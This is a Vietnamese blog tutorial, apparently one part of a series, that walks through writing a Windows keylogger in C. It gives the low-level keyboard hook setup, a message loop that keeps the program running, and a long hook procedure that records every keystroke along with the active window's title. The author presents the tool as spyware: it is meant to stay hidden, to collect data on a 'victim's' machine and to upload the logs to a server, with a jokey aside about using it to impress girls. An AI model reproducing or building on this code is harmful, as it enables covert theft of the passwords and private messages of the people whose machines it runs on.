Đăng ký hook
Để đăng ký keyboard hook bạn cần sử dụng hàm SetWindowsHookEx với hằng số WH_KEYBOARD_LL như sau:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
HHOOK ret; | |
if ((ret = SetWindowsHookE![]() |
|
{ | |
printf("Can not register windows hook\n"); | |
} |
HHOOK WINAPI SetWindowsHookE
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
Các đối số như sau:- idHook [in]: Giá trị kiểu int, nó quy định loại hook mà bạn muốn đăng ký với windows.
- lpfn [in]: Một con trỏ hàm kiểu HOOKPROC, bạn có thể hiểu hôm na rằng windows sẽ gọi hàm(hook procedure) mà con trỏ này trỏ tới khi sự kiện hook xảy ra(ở đây chính là khi người dùng nhấn phím).
- hMod [in]: Giá trị kiểu HINSTANCE, handle tới DLL chứa hàm mà con trỏ hàm lpfn trỏ đến. Nếu lpfn trỏ đến hàm ngay trong process hiện tại(có thể hiểu nôm na là ngay trong chương trình exe hiện tại) thì ta chỉ cần truyền NULL cho nó. Trong ví dụ trên mình truyền NULL(0) cho đối số này vì hàm mà lpfn trỏ đến nằm ngay trong chương trình thực thi của chúng ta.
- dwThreadId [in]: Giá trị DWORD(chỉ là giá trị int thôi
đừng hoang mang). Giá trị này xác định thread mà hook này được liên kết tới.
Kết quả trả về của hàm SetWindowsHookEx là một HHOOK, nếu giá trị này mà NULL thì nghĩa là đăng ký hook thất bại(hiếm thấy lắm nên đừng lo). Nhớ lưu lại giá trị này để hủy hook khi kết thúc chương trình nhé.
Keep alive
Như các bạn biết đấy, hàm hook procedure sẽ được hệ điều hành gọi khi có sự kiện hook xảy ra(như ở đây là người dùng nhấn phím). Sẽ như thế nào nếu chương trình của mình kết thúc trước khi hệ điều hành gọi hàm hook procedure nhỉ, chà, không ổn rồi. Ở đây ta cần một vòng lặp hoặc một thứ tương tự để giữ cho chương trình của ta luôn luôn chạy. Các bạn có thể dùng while(true); có thể dùng getch(), có thể dùng system("pause")... tất cả đều có thể giữ cho chương trình của ta luôn luôn chạy trong hệ thống mà không thoát ngay lập tức. Nhiều sự lựa chọn nhỉ, nhưng sự thật đau đớn là bạn chỉ có một mà thôi, trong trường hợp bạn hook WH_KEYBOARD_LL, lý do thì vì cơ chế của hook này cần thèn Get/PeekMessage() để có thể gọi hàm callback(hook procedure) khi có sự kiện hook xảy ra, cụ thể các bạn có thể đọc ở đây.
Hàm keep_alive của ta khá đơn giản như sau:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
MSG msg; | |
//this while loop keeps the hook | |
while (!GetMessage(&msg, NULL, NULL, NULL)) { | |
TranslateMessage(&msg); | |
DispatchMessage(&msg); | |
} |
Xử lý dữ liệu hook
Sau khi đăng ký hook thành công thì ta chỉ còn việc ngồi đợi dữ liệu mà người dùng đã nhấn phím gửi về thôi. Khi có dữ liệu hook, windows sẽ gửi nó cho hàm hook procedure mà ta đã đăng ký ở trên. Ở trong hàm hook procedure này ta cần xác định được dữ liệu hook đó có phải là keyboard hook không, vì sao à, đơn giản là bạn có thể đăng ký nhiều loại hook khác nhau nhưng chỉ với một hàm hook procedure để xử lý chúng. Vì thế chúng ta cần cơ chế để phân biệt dữ liệu hook đó thuộc loại nào mà xử lý cho thích hợp. Ở đây ta chỉ có một loại hook là keyboard hook nên cũng không lăng tăng lắm về vấn đề này.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
LRESULT hook_proc(int n_code, WPARAM w_param, LPARAM l_param) | |
{ | |
if (n_code == HC_ACTION) | |
process_hkdt(w_param, l_param); | |
return CallNextHookE![]() |
|
} |

OK, trong câu chuyện này A chính là ứng dụng, B là chương trình hook của ta và C chính là bàn phím. Hiểu nôm na thế cũng được. Dữ liệu bàn phím sẽ được gửi tới chương trình hook của ta trước rồi sau đó mới tới ứng dụng(ví dụ như gỏ chat facebook ấy, thay vì nó gửi tới trình duyệt thì nó phải qua tay thèn chương trình hook mất dạy này). Như ví dụ ở trên thì B có thể chuyển thư cho A(nếu tâm trạng đang vui) hoặc xé thư đốt ra thành tro rồi uống(nếu B tới tháng :v). Cũng như keyboard hook, bạn có thể chuyển dữ liệu hook cho ứng dụng nếu thích hoặc hủy luôn dữ liệu đó. Trong trường hợp xây dựng spy thì càng làm ẩn mình càng tốt, tránh bị nghi ngờ để âm thầm thu thập thông tin. Ta cần chuyển dữ liệu hook lại cho ứng dụng càng nhanh càng tốt, kiểu như chưa hề có vụ "đọc trộm thư" xảy ra

Và để chuyển dữ liệu hook đó cho ứng dụng thì cần sử dụng hàm CallNextHookEx mà thôi, thật ra hàm này sẽ chuyển thông tin hook tới các hook procedure khác trong hook chain(hiểu nôm na là một danh sách chứa mấy thèn đã đăng ký hook ấy mà) hiện tại. Sau khi pass hết qua mấy cái hook procedure rồi thì mới tới lược ứng dụng. Tội thèn ứng dụng nhỉ

Vấn đề quan trọng cần bàn ở đây đó là xử lý dữ liệu nhấn phím như thế nào? Toàn bộ em nó đây:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
VOID process_hkdt(WPARAM w_param, LPARAM l_param) | |
{ | |
static HWND old_hwnd = NULL;// current window handle which typed on | |
static char w_text[255];// buffer for saving window title | |
static bool shift = false;// shift key state(down/up?) | |
//LOG("enter processing keyboard hook data..."); | |
const KBDLLHOOKSTRUCT * kbdt = (KBDLLHOOKSTRUCT *)l_param; | |
if (kbdt->vkCode == VK_LSHIFT || kbdt->vkCode == VK_RSHIFT) | |
{ | |
shift = (w_param == WM_KEYDOWN); | |
//LOG("shift is %s", shift ? "ON" : "OFF"); | |
} | |
if (w_param == WM_SYSKEYDOWN || w_param == WM_KEYDOWN) | |
{ | |
// save window text which typed on it | |
// if a new file just has been created then write window text first | |
const HWND new_hwnd = GetForegroundWindow(); | |
if (old_hwnd != new_hwnd || get_position() == 0) | |
{ | |
const int ret = GetWindowTextA(new_hwnd, w_text, 255); | |
//LOG("window text is '%s'", w_text); | |
write("\n[", 2); | |
write(w_text, ret); | |
write("]\n", 2); | |
old_hwnd = new_hwnd; | |
} | |
const bool caps = GetKeyState(VK_CAPITAL) < 0;// check caps lock pressed? | |
//LOG("caps is %s", caps ? "ON" : "OFF"); | |
//LOG("write pressed key..."); | |
switch (kbdt->vkCode) | |
{ | |
case 0x30: write(shift ? ")" : "0", 1); break; | |
case 0x31: write(shift ? "!" : "1", 1); break; | |
case 0x32: write(shift ? "@" : "2", 1); break; | |
case 0x33: write(shift ? "#" : "3", 1); break; | |
case 0x34: write(shift ? "$" : "4", 1); break; | |
case 0x35: write(shift ? "%" : "5", 1); break; | |
case 0x36: write(shift ? "^" : "6", 1); break; | |
case 0x37: write(shift ? "&" : "7", 1); break; | |
case 0x38: write(shift ? "*" : "8", 1); break; | |
case 0x39: write(shift ? "(" : "9", 1); break; | |
case 0x60: write("0", 1); break; | |
case 0x61: write("1", 1); break; | |
case 0x62: write("2", 1); break; | |
case 0x63: write("3", 1); break; | |
case 0x64: write("4", 1); break; | |
case 0x65: write("5", 1); break; | |
case 0x66: write("6", 1); break; | |
case 0x67: write("7", 1); break; | |
case 0x68: write("8", 1); break; | |
case 0x69: write("9", 1); break; | |
case 0x41: write(caps ? (shift ? "a" : "A") : (shift ? "A" : "a"), 1); break; | |
case 0x42: write(caps ? (shift ? "b" : "B") : (shift ? "B" : "b"), 1); break; | |
case 0x43: write(caps ? (shift ? "c" : "C") : (shift ? "C" : "c"), 1); break; | |
case 0x44: write(caps ? (shift ? "d" : "D") : (shift ? "D" : "d"), 1); break; | |
case 0x45: write(caps ? (shift ? "e" : "E") : (shift ? "E" : "e"), 1); break; | |
case 0x46: write(caps ? (shift ? "f" : "F") : (shift ? "F" : "f"), 1); break; | |
case 0x47: write(caps ? (shift ? "g" : "G") : (shift ? "G" : "g"), 1); break; | |
case 0x48: write(caps ? (shift ? "h" : "H") : (shift ? "H" : "h"), 1); break; | |
case 0x49: write(caps ? (shift ? "i" : "I") : (shift ? "I" : "i"), 1); break; | |
case 0x4A: write(caps ? (shift ? "j" : "J") : (shift ? "J" : "j"), 1); break; | |
case 0x4B: write(caps ? (shift ? "k" : "K") : (shift ? "K" : "k"), 1); break; | |
case 0x4C: write(caps ? (shift ? "l" : "L") : (shift ? "L" : "l"), 1); break; | |
case 0x4D: write(caps ? (shift ? "m" : "M") : (shift ? "M" : "m"), 1); break; | |
case 0x4E: write(caps ? (shift ? "n" : "N") : (shift ? "N" : "n"), 1); break; | |
case 0x4F: write(caps ? (shift ? "o" : "O") : (shift ? "O" : "o"), 1); break; | |
case 0x50: write(caps ? (shift ? "p" : "P") : (shift ? "P" : "p"), 1); break; | |
case 0x51: write(caps ? (shift ? "q" : "Q") : (shift ? "Q" : "q"), 1); break; | |
case 0x52: write(caps ? (shift ? "r" : "R") : (shift ? "R" : "r"), 1); break; | |
case 0x53: write(caps ? (shift ? "s" : "S") : (shift ? "S" : "s"), 1); break; | |
case 0x54: write(caps ? (shift ? "t" : "T") : (shift ? "T" : "t"), 1); break; | |
case 0x55: write(caps ? (shift ? "u" : "U") : (shift ? "U" : "u"), 1); break; | |
case 0x56: write(caps ? (shift ? "v" : "V") : (shift ? "V" : "v"), 1); break; | |
case 0x57: write(caps ? (shift ? "w" : "W") : (shift ? "W" : "w"), 1); break; | |
case 0x58: write(caps ? (shift ? "x" : "X") : (shift ? "X" : "x"), 1); break; | |
case 0x59: write(caps ? (shift ? "y" : "Y") : (shift ? "Y" : "y"), 1); break; | |
case 0x5A: write(caps ? (shift ? "z" : "Z") : (shift ? "Z" : "z"), 1); break; | |
case VK_SPACE: write(" ", 1); break; | |
case VK_RETURN: write("\n", 1); break; | |
case VK_TAB: write("\t", 1); break; | |
case VK_ESCAPE: write("[ESC]", 5); break; | |
case VK_LEFT: write("[LEFT]", 6); break; | |
case VK_RIGHT: write("[RIGHT]", 7); break; | |
case VK_UP: write("[UP]", 4); break; | |
case VK_DOWN: write("[DOWN]", 6); break; | |
case VK_END: write("[END]", 5); break; | |
case VK_HOME: write("[HOME]", 6); break; | |
case VK_DELETE: write("[DEL]", 5); break; | |
case VK_BACK: write("[BACK]", 6); break; | |
case VK_INSERT: write("[INS]", 5); break; | |
case VK_LCONTROL: | |
case VK_RCONTROL: write("[CTRL]", 6); break; | |
case VK_LMENU: | |
case VK_RMENU: write("[ALT]", 5); break; | |
case VK_F1: write("[F1]", 4); break; | |
case VK_F2: write("[F2]", 4); break; | |
case VK_F3: write("[F3]", 4); break; | |
case VK_F4: write("[F4]", 4); break; | |
case VK_F5: write("[F5]", 4); break; | |
case VK_F6: write("[F6]", 4); break; | |
case VK_F7: write("[F7]", 4); break; | |
case VK_F8: write("[F8]", 4); break; | |
case VK_F9: write("[F9]", 4); break; | |
case VK_F10: write("[F10]", 5); break; | |
case VK_F11: write("[F11]", 5); break; | |
case VK_F12: write("[F12]", 5); break; | |
case VK_OEM_1: write(shift ? ":" : ";", 1); break; | |
case VK_OEM_2: write(shift ? "?" : "/", 1); break; | |
case VK_OEM_3: write(shift ? "~" : "`", 1); break; | |
case VK_OEM_4: write(shift ? "{" : "[", 1); break; | |
case VK_OEM_5: write(shift ? "|" : "\\", 1); break; | |
case VK_OEM_6: write(shift ? "}" : "]", 1); break; | |
case VK_OEM_7: write(shift ? "\"" : "'", 1); break; | |
case VK_OEM_PLUS: write(shift ? "+" : "=", 1); break; | |
case VK_OEM_COMMA: write(shift ? "<" : ",", 1); break; | |
case VK_OEM_MINUS: write(shift ? +"_" : "-", 1); break; | |
case VK_OEM_PERIOD: write(shift ? ">" : ".", 1); break; | |
// unknown keys | |
default: | |
DWORD _lparam = (kbdt->scanCode << 16) | (kbdt->flags << 24); | |
char key[16]; | |
GetKeyNameTextA(_lparam, key, 15); | |
write(key, strlen(key)); | |
break; | |
} | |
} | |
//LOG("finish processing keyboard hook data!"); | |
} |
Bước tiếp theo bạn cần xác định phím Shift có đang được nhấn hay không, việc này khá quan trọng để xác định người dùng đang nhấn chữ hoa hay chữ thường,...Tương tự bạn cần xác định phím Caps Lock có đang được nhấn không. Bước cuối cùng là bạn xác định cụ thể phím được nhấn là phím nào, A, B, C, 1, 2...blabla rồi sau đó kết hợp với tình trạng của các phím Shift và Caps Lock để lưu cho phù hợp.
Để xác định tiêu đề của cửa sổ hiện tại bạn cần sử dụng hàm GetForegroundWindow để lấy handle của sổ và sau đó dùng GetWindowTextA để lấy tiêu đề của nó. Khá đơn giản phải không.
Để xác định được cụ thể phím nào được nhấn bạn cần convert l_param sang cấu trúc KBDLLHOOKSTRUCT như sau:
const KBDLLHOOKSTRUCT * kbdt = (KBDLLHOOKSTRUCT *)l_param;
À, l_param sẽ chứa nội dung mà phím được nhấn còn w_param sẽ chứa tình trạng của phím(press down/up...).Sau khi convert sang cấu trúc KBDLLHOOKSTRUCT bạn sử dụng kbdt->vkCode để lấy virtual key code của phím được nhấn, từ đó chỉ cần dùng mấy câu if else hoặc switch đơn giản là có thể lưu chính xác dữ liệu rồi.
Một điều nữa ở đây chính là việc lưu trữ dữ liệu, khi người dùng nhấn chữ A, giả sử virtual key code của nó là 65 thì bạn cần lưu xâu "A" chứ không phải là giá trị 65, tất cả đều vì mục đích dể đọc thôi

Lại một điều nữa, hàm write và hàm get_position là 2 hàm phụ trợ, hàm write sẽ lưu dữ liệu vào mảng hoặc trực tiếp vào file, hàm get_position sẽ trả về số lượng bytes hiện tại mà file hoặc mảng đang lưu. Giả sử như bạn lưu vào mảng, nếu dữ liệu lưu trữ đủ lớn bạn cần chuyển dữ liệu đó vào file và reset mảng để tiếp tục lưu dữ liệu khác. Dữ liệu được lưu vào file sẽ được tập hợp lại ở một nơi cố định trong máy nạn nhân và chờ thời cơ(có mạng :v) để gửi lên server. Đây chỉ là một cách đơn giản để giải quyết vấn đề lưu trữ cho spy của chúng ta. Ở đây còn nhiều điều phải bàn luận nữa, như cấu trúc file, làm sao để phân biệt file chứa dữ liệu keylog với file chứa dữ liệu capture screen...
Hủy hook
Cấp phát xong thì phải thu hồi, đăng ký xong thì phải hủy cũng như yêu là phải... à mà thôi
Để hủy hook thì bạn cần gọi hàm UnhookWindowsHookEx, đơn giản một dòng như sau:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
UnhookWindowsHookE![]() |

Tổng kết
Như bạn thấy đấy, với những thứ đơn giản như trên bạn hoàn toàn có thể xây dựng cho mình một con keylogger để khè gái rồi 

Ở đây cũng chỉ là các bước hướng dẩn đơn giản, để hoàn tất con spy mất dạy của chúng ta thì còn cần giải quyết nhiều vấn đề nữa. Không sao, học lại 4-5 lần còn chưa nản mà cớ sao mới thấy chút khó khăn như vậy lại bỏ cuộc 

Phần tiếp theo sẽ giải quyết vấn đề: Làm sao chụp ảnh màng hình đây ta?
0 nhận xét :
Post a Comment